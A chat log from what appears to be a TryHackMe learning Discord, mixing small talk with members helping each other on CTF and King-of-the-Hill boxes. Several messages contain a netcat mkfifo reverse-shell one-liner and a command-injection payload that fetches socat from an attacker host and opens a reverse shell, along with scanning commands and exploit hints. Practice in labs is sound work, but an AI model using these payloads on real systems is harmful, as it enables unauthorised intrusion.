#voice-chat
1 messages ยท Page 11 of 1
i am 23 and planning to get OSCP next year as well. after graduating.
wait BOF 40 points?
wasnt that 25 points
?
optional skipped bof and got 75 points and cleared his oscp
he also skipped those 5 points writeup
25 points machine
Two 20 points machines
10 points machine```i was wrong
how points many you need?
i unistalled Dota coz i wasted sooo much time on Dota.. 2766hours in 3 years.
oh also i have 120+ hours in KOTH
https://store.steampowered.com/linux 91 pages of games for linux ๐
https://store.steampowered.com/linux 91 pages of games for linux ๐
@supple trellis crappy performance
for most at least ...
@solid burrow never faced anything like this in teams. My teachers are noobs they didnt even setup the classes correctly. every student can join as a presenter.
So students mostly spend their time muting the teachers or kicking out other students out from the class.
oh also can i ask you some info about germany?
oh god sure
So i am planning to move out to some other country in like two or three years may be. i heard education in Germany is free, so i wanted to know how advanced Germany is in terms of infosec?
Muir stopped typing
i mean you can google it but i can assure the eductaion is good
@solid burrow well i want to smh compare it. i dont have many options atm. havent even checked many either.so atm checking which country would be best to move out to. How would be the jobs and education there after getting OSCP thats what i was wondering about
I can hear you
i am 23 and will be getting OSCP next year. then i am looking for what to do next after it.. will google it myself
thanks for answering ๐
afk
Playing hackers koth
against oreobyte
https://tryhackme.com/games/koth/6130
i call BS
@latent nebula just ping the machine to see if it's up
@buoyant plover it doesn't respond to pings (ICMP blocked)
\ / ( ) { }
-Pn
nmap -Pn 10.10.149.126
||gobuster dir -u <ip> -w /usr/share/wordlists/dirb/common.txt||
gobuster dir arguments -w this stands for wordlist -x this stands for extensions -t this stands for threads -u this stands for url you supply your url in here or ip address
nano vpn.sh
what am i suppost to be looking for?
Please use the screenshot tool. ๐
@midnight fern
googles really fast
Which would be funny, if you hadn't done that yourself @midnight fern...
TeamViewer ID anyone? ๐
๐
Oi -- I seem to remember it being you needing help!
๐คฃ
As if you don't already have my full name!
James, Ryan, The admins
Yes he does
Oh you sneaky...
Para, let's gang up on him
Department of Education guidance on the use of Higher Education Emergency Relief Fund (HEERF) funds is changing on an almost daily basis. Check back often as NASFAA will continue to update this reference page on any new guidance becomes available.
!rule 2
Rule 2: No personal drama or drama from any other discord community is allowed to be brought into this discord. This is a space for infosec discussions and learning, keep it that way.
!rule 15
Rule 15: Please leave any disciplinary measures to the discord staff (Trial Mods, Mods, and Admins). This is also known as no 'mini-modding'. If something is happening, please just let the staff know and we can take care of it <3
Muri has objected to that name since the start
Bugger off @midnight fern ๐
Flexing that you have friends
Muir, doesn't that count as corrupting a minor?
@forest python No, but getting him sh*tfaced might be...
Also, "more than your friends"?...
I know your last name itโs โumโ!!
โ0day-umโ
I like a challenge but I like procrastinating even more
tfw you want software from somewhere and it doesn't build
Make your challenge procrastinating @manic canyon
Hey, I promised to swap you Pars' last name for yours!
Make your challenge procrastinating @manic canyon
@quiet needle Your Brain is too large for this server, Sir
Aight Iโm gonna go to bed itโs 2am and I gotta be up in 6 hours peace out people
Cyaaa lata
Bye natic
or
Brainfuck is an esoteric programming language created in 1993 by Urban Mรผller, and is notable for its extreme minimalism.The language consists of only eight simple commands and an instruction pointer. While it is fully Turing complete, it is not intended for practical use, bu...
I will take that compliment and wear it on my sleeve (:
Oh bloody hell, I just realised that your pfp is Koan, James. Fantastic musical choice :D
I was wondering wtf that said
Koan sound!
No need to tho. Koan kicks arse.
I can see him using Fetlang...
Reminds me of this
20:00
It's military time
That's Britain in a nutshell
โโMilitary timeโ
We measure distance in centimetres, then miles
Miles per hour
Kilos
Just Britain
No, we definitely hate him...
Ryan, I shall murder you
Do I need to turn my damn mic on?
And yes, he is...
Ok I need a project name
Bye! ๐
@rustic mica A fellow Koan sound fan. Good taste.
Of course! I fell in love the moment I head Sentient.
indeed
im a dynasty fan myself
No, I haven't.
This is one of the best of Noisia, personally believe it to be, anyway.
Mantra is my favourite.
its cool
There is no chance for others then
there are still ways in
shit need to open my vm
find it
that most likely means autopwns.
@lofty moat yes
It is making challenge hard
Scripts that automatically hack and/or harden the machine are forbidden
using nyancat is not against the rules
The nyancat script is okay as long as it doesnโt crash the entire box
Fine : /
That would fall under rule 1 if it kills the box (:
I would recommend reading the rules and understanding them, before trying to contradict others.
cant ping
@warm atlas you cant ping a windows machine
oh thats right
use -Pn for nmap scan
Windows firewall, by default blocks icmp requests.
so im still in fucking school but i will probably come on in aminute ro sometihng
spamming wall wont help you ๐
๐คจ
i had to go to the kitchen for lunch
came back and saw reset and you wall in loop
but its just one command to bypass that
i have no idea how to use nmap for that
nmap -T4 -Pn ip
What is that command?
thats what you are supposed to find
gg
ggs
KOTH now any one ?
oh
@plucky vault It gives you RCE
Bypassing the client side filter
Pinging yourself proves that it works
And yeah, you could technically write an exploit for it in Python
Total overkill though
ifconfig tun0
Or that ๐คทโโ๏ธ
It's the old way
ip a
Try it and see
try it instead of asking if it works :)
Good luck...
VIM!
Well done Elf!
I mean, still using your mouse, but could be worse
Oi, Cooctus, Elf's on Vim
Even if netcat was installed, that would not work with Ping in front of it now, would it?
Not unless you threw in the -c switch
ping -C 5 <ip that i forgot>;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.7.100 1234 >/tmp/f ; echo "EHLO"
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.7.100 1234 >/tmp/f
you need to look at the HTTP response
yes
big hint || try outside the target ||
{"target":"" HERE""}
no HERE was quoted
it doesn't error ๐
it's blind, how do you test a blind RCE
use tcpdump
you need an other revshell nc wont work i think
it gives an invalid character
yes that good
almost
use an ";"
{"target":"x"; command""}
there is a char you can't use in the command
Several
that sounds great
/ is allowed
it's not on pentestmonkey
| is not allowed
look at every command on thaat site
& is also blocked
i think
oh that's a nice site
";
lmaoo "netcat shells dont work, i'll just tell you that right now"
What is this? just random ppl helping each other?
Yes
impressive
lol this reminds me of the early days of programming classes
"little bit of copy, little bit of paste, and BAM!"
wget -q
ya
wget -q
wget -q -O /tmp/socat YOURIP/socat; etc
then your stuff
the url should not be after -O
That's the output file
first test that you can actually download
-O is the output file
python server has 8000 port
its not work
may be he should specify port number also
@plucky vault @midnight fern
this should work
yes
OK
why not just reversing then using socat with ez
0day deleted our commands, don't read the chat history
He has the correct command
they were deleted, so that other members can't just copy and paste.
You are also supposed to put a spoiler tag over any potential spoilers.
yeah that's fair. forgot it's a public chat
Muting or unmuting?
not toxic dude
@plucky vault is too much funny ๐
LOL call the fucking cops
kkkkkkkkk
it's in opt
@worn hare could you mute your mic when you're not talking please? ๐
It's working
@plucky vault read the chat
now you have to import the cert
Not for http you don't
Also, would someone remind me to unmute cash before I go to sleep please
CA it's just for https scenarios
right, certs are just for https
IT'S WORKING, just press intercept off and reload the page
@midnight fern
now go to burp
turn it on
and go to the search php
@worn hare keep an eye on the server rules regarding DMs too please ๐
There will be a button on your mic, I'm sure. You can do it in Discord here though:
The button right next to your name
Wow i want a mod like @full sapphire in my server
@proud pebble What'd I do? ๐
@midnight fern
@proud pebble What'd I do? ๐
@full sapphire u're proficient
also patient
congrats
I try ๐คทโโ๏ธ
Danke โฅ๏ธ
why is het typing CCCCCCCCCCCCCCCCC
@full sapphire , thanks I have done it.
@full sapphire , thanks I have done it.
@worn hare Thanks ๐
Just removed the server mute now ๐
Gimme the command?
Ok
the wget command is not right
;wget -q http://10.11.7.100:8000/socat -O /tmp/socat;
Burp is on requirements.txt ๐
Elf send me that
|| {"target":"";wget -q http://10.11.7.100:8000/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec: bash -li bash,pty,stderr,setsid,sigint,sane tcp:10.11.7.100:1337; echo""}||
im just curious why dont you guys rev a shell then use socat ?
So, who failed? ๐
lol
im just curious why dont you guys rev a shell then use socat ?
@sand viper I deliberately filtered most of the special characters you'd need in a reverse shell
|| {"target":"";wget -q http://10.11.7.100:8000/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec: bash -li bash,pty,stderr,setsid,sigint,sane tcp:10.11.7.100:1337; echo""}||
@plucky vault Think you'll need a few more quotes and backslashes -- but I'll be interested to see if it works
@sand viper I deliberately filtered most of the special characters you'd need in a reverse shell
@full sapphire i think i did reverse a shell
@full sapphire i think i did reverse a shell
@sand viper Did you do it before or after I patched it?
||{"target":"";wget -q http://10.11.7.100:8000/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec: bash -li bash,pty,stderr,setsid,sigint,sane tcp:10.11.7.100:1337; echo""}||
sorry
||
{"target":"\";wget -q http://10.11.7.100:8000/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:\"bash -li\" bash,pty,stderr,setsid,sigint,sane tcp:10.11.7.100:1337; echo \""}||
@plucky vault
@sand viper Did you do it before or after I patched it?
@full sapphire oh so there is a patch, didnt know about that, i'll try to reverse for sure, hhhh, @full sapphire : good luck with that
Yeah, I killed lxc and smbpasswd as unintendeds
And fixed a typo in the search script...
python3 -m http.server 8000
You do for 8000
sudo only for 0-1024
Pretty sure
What box he was trying to do?
year of the fox
tks
yo @midnight fern , any hint on that jeff, i got the pass, is it a sub somwhere ?
It involves Java
You're wrong
๐
(Burpsuite is beautiful though)
Also, no you would not
@plucky vault No WSL
Not for network stuff
okay i know how to setup burp now
technical problems.
i forgot the password
what is username xD
the wget command is still wrong @midnight fern @plucky vault
why they don't try curl -O, how as alternative from wget
02:12:19 AM +01
good luck guys, i'll go have some sleep
hak@:~/Downloads$ ls
google.com
the wget command is still wrong @midnight fern @THM's Official Elf
it sould be wget IP/socat -O /tmp/socat
im here
wget -q http://10.11.7.100:8000/socat -O /tmp/socat
oh
i know
why
its not
getting it
so. im using burp from windows right?
but my python3 http.server is setup on wsl
along with a socat thing
5 sec
ok this should work
no
its not working ๐ญ
just install kali in VM
i'm going to bed
wget flails because you don't got wright permissions
it will fail anyway
im gonna go eat xD
okay
im gonna be back in like 1 hour
xD
๐
lol
it's easy to do
you don't even need to set up the vcan 
i have it finished, I was doing it one night with kris
!dark
@marble cape
ouch

php
PHP >
kotlin is not only android :(
where's the party ๐๐ค
boing boing boing
lol
boing boing boing
boing psst clpew
boing boing boing boing boing boing boing
๐
hack the mainframe
i should really get out of bed so i can do adult stuff like go to costco
Imagine still being in bed at 5pm
12 pm
its 5pm mate
Your clock is lying to you
lies
Rockets right in the arse
what are we playing
gta 6
@marble cape Is this the Minecraft ARPG?
Why is it minecraft themed?
what did i miss here?
Number of times I've had to fix your damn Python2 smh
Also, isn't ES6 current @midnight fern?
It's deprecated
Also, to be fair, the number of exploits written in Python2 is crazy
It's really good for BoF still
Sending data around is a lot easier with python2 as well
Sending data around is a lot easier with python2 as well
@full sapphire Agreed
Aw โฅ๏ธ
๐คฎ
๐คฎ ๐คฎ
๐คฎ
Nope
Also, the vomit was for Trump
Ironically
I hate Salad
Ryan, I will murder you ๐
You are not going to trick me into joining Voice
๐
26000
@midnight fern uh, sure, just heading to bed ๐
Did it work?
Yep. I just unmuted myself though ๐คทโโ๏ธ
I wonder if you can mute Dark...
"Is my mic broken, is everyone ignoring me?"
Iโm taking his Twitch tonight and Iโm streaming some really off the wall stuff.
whats da channel for da live?
Iโm taking his Twitch tonight and Iโm streaming some really off the wall stuff.
@midnight fern
whats da channel for da live?
@midnight fern
@plucky vault LoL Iโm not serious
hm hm?
finaly
level 9
Whats the method to exploit the system for privilege escalation called?
in lord of the root lol i donno what is it
@midnight fern
Whats the method to exploit the system for privilege escalation called?
in lord of the root lol i donno what is it
@warm atlas
Exploit Title: overlayfs local root
Date: 2016-01-05
oh tyty
we love Elf's streams โค๏ธ
is elf streaming/
That background is made by CMNatic @livid crag
@plucky vault try using
python2 CVE $ip:10000 whoami
@plucky vault put the right port also cmd = command
@plucky vault I THINK IN TASK 2 you were supposed to find the user and put it in /etc/hosts as well ?
nmap -sV -v -p 10000
where on discord
Love a good Elf stream

my head doesn't just ache, it's bleeding out one ear

When elf hacks, he doesn't smash his head against his keyboard.... everybody else does
Tsk, he doesn't know the meta
This is beyond expectations
When elf hacks, he doesn't smash his head against his keyboard.... everybody else does
@muted sand I like Kris is head bashing his keyboard rn
Hey 0day :D
sorry if im yelling
i have bad mic
okay
i i think i know why its not working
10000/tcp open http MiniServ 1.890 (Webmin httpd)
the version
is not
1.920
its not 1.890
YES
haahahahah
test
๐บ
Btw I use arch too
woof
https://tenor.com/2po7.gif talk to me szy
Uhhhhhhh
@livid crag im gonna go download parrot os
I need to change back to polite cat
parrot security
WTH
MacOS debian ๐
who's mean to parrot os
what's the matter swa 
dyem faiteng wurdz
I use Arch btw
both kali and parrot suck because they have tools you'll probably never use 
use any distro you like and install the tools you need
Imagine using tools pre-built for you. Real hackers create their own tools
@summer cloud i used debian before
bruuh
Then you know how good of a distro it is
it truly si
I wrote mine in HolyC. Holy Kali. Now I have the power of God & Anime on my side.
suse studio was awesome
best experiance ever
your own distro in minutes
do u guys really play games on linux?
yes
i used to play minecraft and runescape
they work well
i can't get all games to work but most of the big ones work well
chanting?
This is painful to watch
@keen perch mute that mic! ๐ฎ
This stream is killing our IQ
its not working
i need my own internet
this is why i need to wait till i get my own internet
Imagine being a hacker and showing everyone your password
Is your ISP blocking metasploit?
they have an elf filter in place
small bandwidth ?
yes
Can you set priority to yourself on your router?
What

lol

๐ฆ
elf
tell me that you have the connection legitimately
maybe open network
its my neighbors
@plucky vault
Open network still illegal :L
Ah nice
lol
in which case setting priority would be considered a dork move
wait elf you are still a sub right?
can i use your wifi to hack CIA
but then i gotten in good mood and gave my mother password for wifi
and then she told the password to whole neigborhood
really nice
jesus
What
Can we get access too?
So you have like 60 people on the same network?
Your mother broke the law
I'm going to call the FBI
no i have like 10
Hack 'em.. Hack 'em all!

Bruteforce the answer, it's only 2 digits
lol his stream has like 2 min delay
im gonna deploy kali linux machine
cuz this is pointless
@livid crag kali linux bare metal or parrot security bare metal?
Just please stop and stop
stop where
noo ๐
im not pissed of
i was yelling cuz in my house everybody was yelling
so i coudn't hear my self
so thats why i was yelling
sry if i offended anybody tho
you can just ssh into it
Elf you're finally making the best decision of your life.
yes ๐
show what ?
wait can you type it
this windows
ok this is downloading
i live in city
@summer cloud its interpreter not compiler
kekw
serbia
yes
test
test
@plucky vault testing
yes ๐
hmm
i wonder can i shred wsl
rm: cannot remove '/mnt/c/$Recycle.Bin/S-1-5-18': Permission denied
rm: cannot remove '/mnt/c/$Windows.~WS/Sources/Panther/Eula.rtf': Permission denied
rm: cannot remove '/mnt/c/bootmgr': Permission denied
rm: cannot remove '/mnt/c/BOOTNXT': Permission denied
^C```
did i just accedently delete my c ?
NO
omg
it deleted stuff from my c
inside wsl
why...
jesus
i have arch on usb.
i need to download random distro rn
no i mean for this pc
it shreded the stuff out of wsl
it wasn't intentional
i wanted to shred wls
wsl
but i think i deleted my windows
or something
its missing a game
and im pretty sure i didn't delete it
G'day fellow 1337 hackers.
i didn't delete league
thank god
in powershell
wsl --list
wsl --unregister kali-linux
lxrun /uninstall
i kinda deleted it
i think
but not completely
i stoped cuz i almost deleted everything on main thing
yeah it's f*kd
do you guys want to watch me play league ?
we wan't to see you try hacking
that will have to wait till i get better internet sadly ๐ญ
apperently they are coming tommarow to set it up
they keep reschedualing it
but soon i hope
if its tommarow
then i can do crazy stuff
Who would like a list of interesting compromised IPs?
is 127.0.0.1 on it?
No.
@plucky vault please don't
I haven't compromised them.
They were attacking my friend account.
No illegal talk
Even if they were doing something bad doesnโt mean youโre allowed to do something worse
see u Elf it was nice to see u n thank u for he assembly tip
Elf is my favourite file format.
@keen perch not yet i just woke up i gotten new tv channels but still router didnt ship so today or tommarow
Thanks hahaha
could someone jump on voice chat with me?
Yo
miles*
@plucky vault bye have fun gtg
aloha
anyone to go live with me to help me out on the last challenge on Intro to Assembly x86-64? please?
@forest python u there mate?
@keen perch No.
Don't just tag me when you need help
Everyone who helps is a volunteer
I saw your request, and I didn't answer because I can't help
hello
i have a question
echo '/bin/sh' > cat
bash: cat: Permission denied
i try with
echo "/bin/sh" > cat
bash: cat: Permission denied
but doesn't work
What room are you on @shadow pier
Ashu Skidy Dark All developed/created THM
I thought it was suppose to show everyone regardless if they were online or not.
Yeah, Ponspector's not there.
Thereโs many not there ;)
@plucky vault @manic canyon Servers over a certain size don't show offline members -- they just disappear.
There are 9 mods, 3 admins. Skidy and Ashu came up with the idea, Dark was brought on from being a user originally. I don't believe Dark is involved in the Dev side of things -- he deals with the community and content direction.
Quick rundown for ya
That bit was for rabbit ๐
Just easier to tag you both in one message, than write out one each ๐คทโโ๏ธ
Yee
No itโs just members of the server
Come hang out on general voice channel! ๐
@plucky vault no ones there
its just you all alone
i am hiding in the corner
i can hear you xD
You're not talking in Oreo byte!
Ah okay.
I'm trying to setup my virtual machine to have the same network as my host operating system but virtualbox is being a pain.
Alright, let's go back to Oreobyte then.
Are you there naughty?
@plucky vault glhf
lol
@tame ether kurwa
๐
@midnight fern get on vc loser
๐คฃ
He is in vc but you can't see him
Dude yeah I literally replaced my ram and it instantly BSOD'd
Uh...
Yeeeep
๐ค Marginally confused
At this point I'm actually about to return the RAM and get a mobo replacement
yikes
I've been having long-standing issues with my PC so I replaced my RAM after using a backup set. Had no issues.
Figured "must be the ram" buy a replacement set today, instant BSOD
i returned my ssd because it made my pc bsod by apparently it was fixable with a bios update
Last time I updated the BIOS on my mobo it bricked it so at this point I think Asus ROG makes dogshit and the only reason they get good reviews is because they have an army of sponsored fanboys
Definitely never getting an Asus ROG board again
0day is rude.
He wanted the VC party to start
little did he know, the vc party already started
I mean I can still do it
I'm trying to get the drivers I need dumped on a USB so I don't have to have it all cabled up
Wrong Chat
sad
@full jewel you playing rn?
pakistan @foggy canyon
how can i help you
i just use sublime text or cherry tree
@lofty moat sry didnt saw you there :D
in a couple ill start
Nah nvrmnd.. my electricity went off. Except for rooting carnage not much luck in koth today. Just getting food and shrek continuously and also electricity problems
๐ฆ
hello i have a question
this is ok??
Traceback (most recent call last):
File "crack_this.py", line 6, in <module>
print(bytes.fromhex(a).decode('utf-8'))
AttributeError: type object 'str' has no attribute 'fromhex'
the machine is CTF collection vol 1
@shadow pier #room-help for room related queries, and #general for general queries
Also this looks like a version error. Try with python2 / python3
Also this looks like a version error. Try with python2 / python3
@limber lichen thanks
Hey! Can I join the voice chat? Are you talking about any room in particular?
It's a fun one @midnight fern
No, genuinely fun
Nah, it is easy
And a lot more realistic than your typical CTF
Kinda
I know 0day is the best
@frosty depot Lolol
You said so
i'm not
I'm #3886
Hahahaaha
Also, why are you training children to swear for you @midnight fern
https://www.youtube.com/watch?v=SMkAIG1B0Ow&feature=em-uploademail
@tame ether Wait NODE is posting again
they take like 1 year breaks lmao
thats great
yeah

